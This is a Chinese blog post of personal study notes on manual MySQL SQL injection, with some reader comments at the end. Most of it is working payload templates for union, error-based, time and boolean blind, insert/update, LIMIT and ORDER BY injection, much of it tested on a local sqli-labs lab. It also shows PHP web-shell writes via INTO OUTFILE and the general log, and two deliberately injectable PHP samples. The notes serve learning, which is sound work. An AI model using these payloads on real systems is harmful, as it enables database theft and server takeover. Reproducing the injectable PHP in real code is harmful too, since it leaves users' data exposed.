SQL手工注入学习笔记(更新中)

前言

还债ing,之前一直觉得自己sql学的不好所以最近打算重新学习一遍

参考链接

很大程度上借鉴了p喵呜大师傅的文章,包括写这篇文章的念头也是因为看了p喵呜师傅的文章,结构会比较相近但是内容是自己书写加上了自己的理解
https://www.yuque.com/pmiaowu/web_security_1/mbwgtd

基于MySQL的SQL注入

判断是否有注入

?id=1 参数后加 " ' ")) ")) 单双引号,引号括号等判断页面内容是否会消失
or/and 1=1 页面正常 or/and 1=2 页面显示内容消失

or/and sleep(5) --+ / or '1'='1' 检测时间注入

and (select 1 from(select sleep(5)))
如果当前数据表没有数据上面这种方法就无法检测,这个利用子查询结构还是可以检测

联合注入(union)

获取数据库版本信息:(有的sql注入语句会有版本限制)

select version()
select @@version

获取当前用户 我这里当前用户为root@localhost

select user()

判断数据表有几列:

order by

使用用法: order by后添加数字来推算数据表的列数order by 5的时候页面正常 order by 6的时候页面回显不正常便可推断数据表有5个列

 https://www.xxxx.com?id=8 order by 1

通常如果数字超过了列数,报错如下

ERROR 1054 (42S22): Unknown column '6' in 'order clause'

获取回显点:
select 1,2,3,4,5 (select 1,2,3,4,5 .... ,数据表列数,就拿上面那个例子来说 就是 select 1,2,3,4,5) 一般 id后面的参数都要改成负的例:?id=-1,为了不让正常页面显示 id=-1我们就看到回显点了,如图

image.png

为什么有的没有显示出来呢,因为sql语句总有一些数据他可以回显到我们的前端,有的则不会回显给前端

获取所有的数据库

select concat(schema_name) from information_schema.schemata;

concat() 可换成 group_concat()
web情况下:http://www.xxxx.com?id=1 union select 1,2,(select concat(schema_name) from information_schema.schemata),4,5

获取所有数据表
这里database() 也可换成当前的数据库名

select concat(table_name) from information_schema.tables where table_schema=database();

例: web情况下:http://www.xxxx.com?id=1 union select 1,2,(select concat(table_name) from information_schema.tables where table_schema=database()),4,5

获取数据表中的字段
假设获取test这个数据表中的字段

select concat(column_name) from information_schema.columns where table_name='test';

例: web情况下:http://www.xxxx.com?id=1 union select 1,2,(select concat(column_name) from information_schema.columns where table_name='test'),4,5

获取对应字段的数值
假设数据库名 security 数据表名 admin
假设字段名为passwd

select cocnat(passwd) from security.admin;

例: web情况下:http://www.xxxx.com?id=1 union select 1,2,(select cocnat(passwd) from security.admin;),4,5

报错注入

常用的SQL报错注入有三种:floor报错注入,extractvalue报错注入,updatexml报错注入
后面两种类型其实是一样的,都是利用xpath来进行报错

Floor报错注入

限制:使用了mysql_error();等输出mysql报错才可以,mysql5.x版本

记忆方法:select两个位置中一个是count(*), 另一个是floor(rand(0)*2)然后利用concat集合payload将报错带出

简单的来说就是 count() 和 floor(rand(0)2)会起一个化学反应然后报错 利用concat将我们的payload链接进去就可以了

本地环境mysql8.0+ 尝试失败发生如下报错

ERROR 1022 (23000): Can't write; duplicate key in table '/var/folders/lq/0l2cb6cs1s544474xf59p3t80000gn/T/#sql1afa_14_a'

查询了一下报错的原因是因为外键名重复了的报错,刚好我们这里的floor是利用外键重复来产生报错的,所以这个报错注入在mysql 8.0+的版本中应该是么得了

mysql 5.5.6 复现成功
模版:

and (select 1 from(select count(*),concat((PAYLOAD语句),0x3a,floor(rand(0)\*2))x from information_schema.tables group by x)a);

我蛮早之前有写过这个的原理所以这里不多赘述了
http://www.wjlshare.xyz/2019/05/13/mysql-%e6%8a%a5%e9%94%99%e6%b3%a8%e5%85%a5%e5%8e%9f%e7%90%86%e5%88%86%e6%9e%90%e4%bb%a5%e5%8f%8a%e8%bf%90%e7%94%a8/

and (select 1 from(select count(*),concat((database()),0x3a,floor(rand(0)*2))x from information_schema.tables group by x)a);
我们把加粗部分更换成对应的payload就可以了

获取数据库版本信息

and (select 1 from(select count(*),concat(version(),0x3a,floor(rand(0)*2))x from information_schema.tables group by x)a);

获取当前数据库

and (select 1 from(select count(*),concat(database(),0x3a,floor(rand(0)*2))x from information_schema.tables group by x)a);

获取用户

and (select 1 from(select count(*),concat(user(),0x3a,floor(rand(0)*2))x from information_schema.tables group by x)a);

获取数据表
第一张表,一张张的获取通过更换limit 中的数

and (select 1 from(select count(*),concat((select (table_name) from information_schema.tables where table_schema=database() limit 0,1),0x3a,floor(rand(0)*2))x from information_schema.tables group by x)a);

获取表中的列

and (select 1 from(select count(*),concat((select (column_name) from information_schema.columns where table_name='数据表名' limit 0,1),0x3a,floor(rand(0)*2))x from information_schema.tables group by x)a);

获取字段数值

and (select 1 from(select count(*),concat((select (字段名) from 数据库.表名 limit 0,1),0x3a,floor(rand(0)*2))x from information_schema.tables group by x)a);

UpdateXML报错注入

限制:开启mysql数据库报错信息显示,mysql5.1.5+,有长度限制最长32位
记忆方法: updatexml(a,b,c) 中间的位置为payload即可
updatexml(a,b,c) 如果b的位置不是xpath语法的话就会报错,所以我们可以通过报错来带出我们想要的数据
模版:

and updatexml(1,concat(0x7e,(PAYLOAD语句)),1);

获取数据库

and updatexml(1,concat(0x7e,database()),1);

结果 ERROR 1105 (HY000): XPATH syntax error: '~test'

获取数据库版本信息

and updatexml(1,concat(0x7e,version()),1);

获取当前用户

and updatexml(1,concat(0x7e,user()),1);

获取所有数据库名称
通过更换limit 0,1 中的数字来进行遍历

and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1)),1);

获取数据表
通过更换limit 0,1 中的数字来进行遍历

and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1)),1);

获取列
通过更换limit 0,1 中的数字来进行遍历

and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='test' limit 0,1)),1);

获得对应列的数值
通过更换limit 0,1 中的数字来进行遍历

and updatexml(1,concat(0x7e,(select id from 数据库.数据表  limit 0,1)),1);

Extractvalue报错注入

这是我最喜欢的一种报错注入方式
限制:开启mysql数据库报错信息显示,mysql5.1.5+,有长度限制最长32位
记忆方法:extractvalue(a,b) 第二个位置为payload即可
exractvalue(a,b) 如果b的位置不是xpath语法的话就会报错,所以我们可以通过报错来带出我们想要的数据
模版:

and extractvalue(1,concat(0x7e,(PAYLOAD语句)   ));

获取数据库版本号

and extractvalue(1,concat(0x7e,version()));

ps:这里一定要加concat或group_concat 不然的话我们输出的数据是不完整的

ERROR 1105 (HY000): XPATH syntax error: '.17'

加了concat之后

ERROR 1105 (HY000): XPATH syntax error: '~8.0.17'

获取当前用户

and extractvalue(1,concat(0x7e,user()));

获取所有数据库名
通过更换limit 0,1 中的数字来进行遍历

and extractvalue(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1)));

获取数据表
通过更换limit 0,1 中的数字来进行遍历

and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1)));

获取数据表中的列
通过更换limit 0,1 中的数字来进行遍历

and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_name='数据表' limit 0,1)));

获取数据表中的值

and extractvalue(1,concat(0x7e,(select id from 数据库.数据表  limit 0,1)));

uploadxml&&extractvalue绕过长度限制

之前有说这两种方式是有最长32的长度限制的
举个例子:

image-20200505220840245

我们可以看到我们的password由于长度太长从而没法全部显示出来

substr函数

7fef617146 9e80d32c05 59f88b3772 458888

substr(被截取字符串,起始位置,截取几位)

注意这里有两个concat第一个concat和我们的sql注入进行结合,第二个concat将0x7和substr()进行结合确保数据显示完整

select * from admin where id=1 and extractvalue(1,concat(0x7e,(select concat(0x7e,substr(password,1,10),0x7e) from test.admin limit 0,1)));

image-20200505222357028

这里之所以要用这么多concat是因为不用concat的话第一个数据会显示不出来就像下面这样

image-20200505222529641

substring&&length函数

这个和第一个类型差不多

substring(被截取字符串,开始位置,截取几位),配合length()函数使用更佳

select * from admin where id=1 and extractvalue(1,concat(0x7e,(select concat(0x7e,length(password),0x7e) from test.admin limit 0,1)));

image-20200505224420647

substring(password,1)从第一位开始截取,最长截取30位

substring(password,31) 31位到最后

7fef617146 9e80d32c05 59f88b3772 458888

select * from admin where id=1 and extractvalue(1,concat(0x7e,(select concat(0x7e,substring(password,1),0x7e) from test.admin limit 0,1)));

image-20200505225530655

截取剩下的

select * from admin where id=1 and extractvalue(1,concat(0x7e,(select concat(0x7e,substring(password,1),0x7e) from test.admin limit 0,1)));

image-20200505225658932

left函数

left(user(),4)='root'; 从左往右取四个

image-20200507221630699

right函数

right(user(),9)='localhost'; 从右往左取9个

image-20200507221811200

mid函数

mid(字符串,开始位置,返回字符串如果没有则返回整个字符串)

image-20200507221953454

时间盲注

有时有点网站会把回显和报错都进行关闭,这时候可以使用时间盲注根据回显的时间来判断数据是否正确

时间盲注的种类有三种:sleep,benchmark,笛卡尔积

时间盲注其实基本都是换汤不换药,主要的模版不变,换的就是那些造成延迟的函数,我个人觉得利用select case when这个比较好 如下

select * from admin where id=1 and (select 1 from(select case when(user() like '%roo%') then (延时函数) else 1 end)x);

利用benchmark函数

套模版:

select * from admin where id=1 and (select 1 from(select case when(user() like '%roo%') then (select benchmark(10000000,sha(1))) else 1 end)x);

原理:将一个算式重复运算多次从而造成时间延迟

例:select benchmark(10000000,sha(1));

将she(1)执行10000000从而造成时间延迟

image-20200513231848540

Ps:这里的0不要太少,0数量太少的话根本不可能出现延迟

select * from admin where id=1 and (select 1 from(select case when(substr(user(),1,1)='r') then (select benchmark(100000000,sha(1))) else 1 end)x);

image-20200513233126463

利用sleep函数

套模版:

select * from admin where id=1 and (select 1 from(select case when(user() like '%roo%') then sleep(5) else 1 end)x);

利用sleep(5)来延时注入

我这里用的是select case when() then xxx else xxx end 结构来进行的延时注入

select * from admin where id=1 and (select 1 from(select case when(user() like '%roo%') then sleep(5) else 1 end)x);

同样的if条件也可以进行注入

select * from admin where id=1 and if((substring(user(),1,1))='r',sleep(5),1);

image-20200520161700593

ps: 这个语句可以看到 我们数据表中有三条记录,最终sleep的时间是15秒,所以睡眠时间是数据行数乘以time的沉睡时间,但是这种在实战过程中非常不友好,一般企业数据量都是非常大的,如果利用这种语句进行注入的话很有可能导致企业那边直接gg

所以在测试过程中推荐使用sql子查询的方式来进行注入

select * from admin where id=1 and (select 1 from(select if(substring(user(),1,1)='r',sleep(5),1))x);

image-20200520162439279

这样我们就可以看到延时的时间是5s了而不是15s

经过测试发现利用benchmark进行延时注入好像没有出现这种问题(后面补原因)

select * from admin where id=1 and if((substring(user(),1,1))='r',(select benchmark(10000000,sha(1))),1);

image-20200520162013003

利用笛卡尔积

https://xz.aliyun.com/t/2288

这种方法又叫做heavy query,可以通过选定一个大表来做笛卡儿积,但这种方式执行时间会几何倍数的提升,在站比较大的情况下会造成几何倍数的效果,实际利用起来非常不好用。

这样即可造成延时

SELECT count(*) FROM information_schema.columns A, information_schema.columns B;

同样的还是套模版

select * from admin where id=1 and (select 1 from(select case when(user() like '%roo%') then (SELECT count(*) FROM information_schema.columns A, information_schema.columns B) else 1 end)x);

image-20200520214637978

可以看出两张表就能延迟很多秒了

if条件判断时间注入

sql中if语句的结构 if(条件,满足时回显,不满足时回显),这样会停5秒后在进行输出

select if(1=1,sleep(5),1);

模版:

and if(substring((PAYLOAD),1,1)='第一个字母',sleep(5),1);`

可以写脚本进行字母遍历,八过这样的话还是直接sqlmap吧哈哈

user()如果是root@localhost的话就会延时5秒

and if(substring(user(),1,1)='r',sleep(5),1);`

第一个表为admin 注入语句如下

and if(substring((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='a',sleep(5),1);

以此类推

and if(substring((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1)='d',sleep(5),1);

case条件判断时间注入

模版

case when(条件语句) then sleep(5) else 1 end;
select * from admin where id=1 and/or case when(select user() like '%root%') then sleep(5) else 1 end;

image-20200507223120057

拿sqli-labs第一关测试一下

http://192.168.1.4:8888/Less-1/?id=-1' and (select 1 from(select case when(select user() like '%root%') then sleep(5) else 1 end)x) %23

成功延迟了5秒

猜测原语句为 select * from security where id='$id';

我们插入拼接之后变成 select * from security where id='' and (select 1 from(select case when(select user() like '%root%') then sleep(5) else 1 end)x) %23';

单引号闭合前面的结构 %23注释后面的'确保语句结构完整

布尔盲注

布尔(boolen)盲注就是通过判断返回页面的正确与否来进行拆解数据,因为不用等待延时所以相比时间盲注速度快很多

if条件判断布尔盲注

整体和前面的时间盲注比较相似

and if(substring((PAYLOAD),1,1)='第一个字母',1=1,1=2);

简单的例子:

select * from admin where id=1 and if(substring(user(),1,1)='r',1=1,1=2);

image.png

第一个是如果正确 1=1 第二个是如果前面条件正确 1=2
可以看到返回结果完全不一样

第一个表名为a的注入语句如下:

and if(substring((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='a',1=1,1=2);

regexp正则表达式布尔盲注

利用正则表达式来进行判断

基于DNS的注入

需要重构文章结构
通过把我们的结果当作我们的域名的前缀传回
之前写过一个关于dns注入的文章
https://www.wjlshare.xyz/2019/06/02/sql%e6%b3%a8%e5%85%a5%e4%b9%8b%e5%9f%ba%e4%ba%8edns%e7%9a%84%e6%b3%a8%e5%85%a5/
主要是利用load_file这个函数,所以这个条件有点苛刻,因为需要root的权限,同时我们的load_file 要可以使用。同时这里还有一个限制就是windows才可以进行使用
https://blog.csdn.net/Auuuuuuuu/article/details/88082184

show variables like "%secure%"

secure_file_priv 空 代表允许读写目录
secure_file_priv NULL 代表不允许输入输出
secure_file_priv D:\ 代表只能在c盘进行读写

注入语句:

select load_file('\\\\',payload,'.ad.ceyc.sx\\abc');

Insert注入&Update注入

  • Inser注入

有的时候我们遇到的注入点是insert语句,这时我们可以利用报错注入或时间盲注来爆出我们想要的数据

insert into admin values(1,(extractvalue(1,concat(0x7e,version()))),1); 

可以得到我们数据库的版本
ERROR 1105 (HY000): XPATH syntax error: '~8.0.17'

然后来看一下web情况下我们如何进行注入,由于没学过php所以只能简陋的写出一个小例子(本地只有基于时间注入复现成功,我这里好像显示不了报错信息 后面再改改)

<?php
    error_reporting(0);
    $id = $_GET['id'];
    $score = $_GET['score'];
    $conn = new mysqli("127.0.0.1","root","你数据库的密码","你的数据库");  // 链接数据库 
    if($conn){
        echo "success";
        echo "</br>";
    }else{
        echo "fail"."</br>";
    }
    // daily是我本地数据库名 id和score分别是daily的字段
    $sql = "INSERT INTO daily(id,score) VALUES ($id,$score)";
    $result = $conn->query($sql);
    if($result === TRUE){
        echo "done";
        echo "</br>";
    }else{
        print_r(mysqli_error($result));
    }

然后我本地测试的时候的注入语句

http://127.0.0.1/sql/update.php?id=(select case when(select user() like "%r%") then sleep(5) else 1 end)&score=11

完整的sql语句是如下这样

insert into daily values(1,(select case when user() like "%r%" then sleep(5) else 1 end));

在真实环境下还是利用上面这种sleep好一些因为这样是不会进行数据的修改的。

同样的报错注入就是 把括号中的语句进行一个替换 (本地没有复现成功 后面会补上)

extractvalue(1,(concat(0x7e,(payload),0x7e)))
  • update 注入

其实和insert注入差不多 也可以用过sleep来进行获取数据,这样也不会修改数据库里的信息

<?php
    error_reporting(0);
    // $id = $_GET['id'];
    $score = $_GET['score'];
    // $score= 'hhh';
    $conn = new mysqli("127.0.0.1","root","你的密码","test");  // 链接数据库 
    if($conn){
        echo "success";
        echo "</br>";
    }else{
        echo "fail"."</br>";
    }
    // $sql = "SELECT * FROM daily WHERE id=$id";
    $sql = "UPDATE daily SET score=($score) where id=8";
    $result = $conn->query($sql);
    if($result === TRUE){
        echo "done";
        echo "</br>";
    }else{

        print_r(mysqli_error($result));
    }

web下的注入语句

http://127.0.0.1/sql/lab.php?score=select case when(user() like "%r%") then sleep(5) else 1 end 

LIMIT处注入

版本要求 mysql<5.6.6的5.x系列

  • procedure analyse

模版:

procedure analyse(extractvalue(1,concat(0x3a,PAYLOAD)),1);

爆数据库

select * from 数据表 order by id limit 0,1 procedure analyse(extractvalue(1,concat(0x3a,database())),1);
  • 结合union语句

符合条件的数据库可以直接在limit后面正常的使用union进行一个拼接注入

select * from sqltest where id=1 limit 0,1 union select 1,2

结果如下

+----+---------+
| id | name
+----+---------+
|  1 | aaa      
|  1 | 2        
+----+---------+
select * from sqltest where id=1 limit 0,1 union select (select version()),(select version());

两处都可以进行注入

+------------+------------+
| id         | name       
+------------+------------+
| 1          | aaa        
| 5.5.62-log | 5.5.62-log 
+------------+------------+

可以看到注入成功

  • 结合时间盲注
select * from sqltest where id=1 limit 0,1 union select 1,if(substring(user(),1,1)='r',sleep(5),1);`

具体步骤都和前面的一样就不过多阐述了

order by 处注入

参考:https://www.secpulse.com/archives/57197.html

mysql中的order by的作用是对数据表中的数据进行排序,正常使用情况下我们可以对我们某一列的数据进行排序

select * from admin order by id desc;

image-20200521102421127

desc表示的是降序排序,所以这里我们可以看到对我们的id进行了一个降序排序

所以这里讨论的order by注入的注入点自然就是order by 后面

select * from admin order by $_GET['id'];

如何判断该注入点在order by处,一种是知道表单列名的可以利用if来进行判断

if(1=1,id,username)   # 前面1=1永远为真 按照id排序
if(1=2,id,username)   # 前面1=2永远为假 按照username排序

但是上面这种情况基本在实战过程中没什么用处。。(毕竟在实战过程中我们怎么可能实现知道数据表)

第二种,在不知道表的情况下根据回显来进行判断

if(1=1,1,(select+1+union+select+2)) 正常回显
if(1=2,1,(select+1+union+select+2)) 无回显

同时也可以利用延时语句来观察是否有注入

if(1=1,(select benchmark(1000000,sha(1))),1)
if(1=1,sleep(5),1)  # 这个不是很推荐 在测试过程中发现会全表延迟这是实际中需要避免的问题

然后在注入过程中将最前面的 1=1 替换成payload就可以了

order by 报错注入

和普通的报错注入差不多无非就是位置不同

select * from admin order by id, updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1);

image-20200509204950998

加and也是可以的

select * from admin order by 1 and updatexml(0x3e,concat(0x3e,(user())),0x3e);

image-20200520224342948

Sqli-labs less 46

http://192.168.1.4:8888/Less-46/?sort=1 and extractvalue(0x3a,concat(0x3a,database())) 

image-20200521115105062

order by 盲注

  • 时间盲注
    select * from admin order by 1 RLIKE (CASE WHEN (substring(user(),1,1)='a') THEN 1 ELSE benchmark(1000000,sha(1)) END);
    

这里使用sleep会导致全表延迟,需要避免这种情况

image-20200520233656898

可以利用if判断语句,这里举一个sqli-labs less 48的例子

http://192.168.1.4:8888/Less-48/?sort=if(substring(database(),1,1)='s',(select benchmark(1000000,sha(1))),id)

如果数据库名的第一个字母是s 就进行延迟,反之就按照id进行排序

image-20200521110036741

MySQL读写文件

在SQL注入如果满足了对应的条件我们是可以直接进行shell的写入的,所以这里就在讨论一下读写文件是需要哪些前提条件

首先我们需要知道 这么一个参数 secure_file_priv 这个参数对应的数值很大程度上决定了我们能否进行读写

查看**secure_file_priv ** (5.5.53之前的版本是secure_file_priv变量 默认为空)

show variables like "%secure%";
+--------------------------+---------------+
| Variable_name                 | Value    |
+--------------------------+---------------+
| require_secure_transport      | OFF      |
| secure_file_priv              | NULL     |
+--------------------------+---------------+

可以看到这里我们的secure_file_priv 的值为NULL 即代表不允许任何文件进行导入导出操作

  • secure_file_priv NULL 不允许任何文件进行导入导出操作
  • secure_file_priv 空 对导入导出操作不做任何限制
  • secure_file_priv G:\ 只允许在G盘进行导入导出操作

如果要修改secure_file_priv 要在 mysql.ini (windows)/ my.cnf (linux) 文件中进行修改

其次!当前用户一定要为root用户!

select load_file('/etc/passwd');
select '<?php phpinfo(); ?>' into outfile '/var/www/shell.php';
select '<?php phpinfo(); ?>' into dumpfile '/var/www/shell.php';

Linux下写文件:

如果想要使用读写函数,必须满足以下要求:

  1. 当前用户是root用户
  2. secure_file_priv 为空 或者要写入的文件夹刚好是secure_file_priv的特定文件夹

  3. 写shell的文件夹必须要 777的权限不然会写入失败

  4. 文件大小: 必须小于max_allowed_packet

满足以上条件我们的文件才会正常写入

image-20200529155724566

如果我们目标文件夹的权限不够则会报错

ERROR 1 (HY000): Can't create/write to file '/usr/2.php' (Errcode: 13)

image-20200529155818227

Linux下读文件:

Linux下读文件要求就相对少一些

  1. 当前用户是root用户
  2. 目标文件可读,如下:

image-20200529155140727

Windows下读文件:

  1. 用户root
  2. secure_file_priv 要为空(或指定路径为我们可以访问到的)
 select load_file('C:/sql.txt');

image-20200529162634795

Windows下写文件:

windows下条件就没有linux那么复杂

  1. 用户root
  2. secure_file_priv 要为空(或指定路径为我们可以访问到的)

image-20200529161840160

SQL注入写shell 读文件

满足三个条件

1.要能文件读写

2.用户一定要root不然是没有权限的

3.secure_file_priv 要为空(或指定路径为我们可以访问到的)

查看**secure_file_priv **

show variables like "%secure%";
+--------------------------+---------------+
| Variable_name                 | Value    |
+--------------------------+---------------+
| require_secure_transport      | OFF      |
| secure_file_priv              | NULL     |
+--------------------------+---------------+

可以看到这里我们的secure_file_priv 的值为NULL 即代表不允许任何文件进行导入导出操作

  • secure_file_priv NULL 不允许任何文件进行导入导出操作
  • secure_file_priv 空 对导入导出操作不做任何限制
  • secure_file_priv G:\ 只允许在G盘进行导入导出操作

经过测试Linux下如果要写入文件,那么目标文件夹权限必须是 777 不然是写不进去

不然会出现如下报错

ERROR 1 (HY000): Can't create/write to file '/test/1.php' (Errcode: 13)

利用绝对路径写入木马

类似下面这样

select '<?php eval($_POST['pwd']); ?>' into outfile /homt/wwwroot/default/a.php

利用mysql的日志getshell (Windows)

其实原理都是相同的,把我们的木马放到我们的网站根目录下,这种情况的话比较适合于已经登陆进phpmyadmin,windows才可以用这种方式 linux下对文件路径进行一个规定只能往 /tmp/ /var/ 下写

将我们的mysql日志文件移动到我们的web目录下,然后将我们的代码引入到日志文件中,最终getshell

知道网站的绝对路径 (从一些探针文件或者phpinfo 等文件中进行一个获取)

SET GLOBAL general_log_file=ON;
SET GLOBAL general_log_file='/homt/wwwroot/default/a.php';
SELECT '<?php eval($_POST['test']); ?>';
SET GLOBAL general_log_file=OFF;

题外话:phpmyadmin getshell

Oracle SQL注入

SQL Server 注入

对于一些面试题中一些SQL注入的问题自己的看法和见解(如果有理解错误请师傅们一定要提出来 )

  • SQL注入的种类

联合注入,报错注入,盲注(时间盲注,布尔盲注),宽字节注入,二次注入,堆叠注入

  • 拿到数据库权限后怎么获得webshell

Windows root权限 知道网站绝对路径 secure-file-priv为空的情况下通过日志进行getshell

评论

  1. 3 年前
    2021-9-17 13:52:39

    奇了怪了,我打开你这页,火绒直接报毒,这么狠?

    • KpLi0rn 博主
      3 年前
      2021-9-20 14:45:53

      这个我也不知道是什么情况,我博客只存放我的文章并没有做小动作,如果不放心的话可以去语雀观看

  2. 土司空
    1 年前
    2023-7-01 6:34:11

    感谢大佬 帮助很大

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇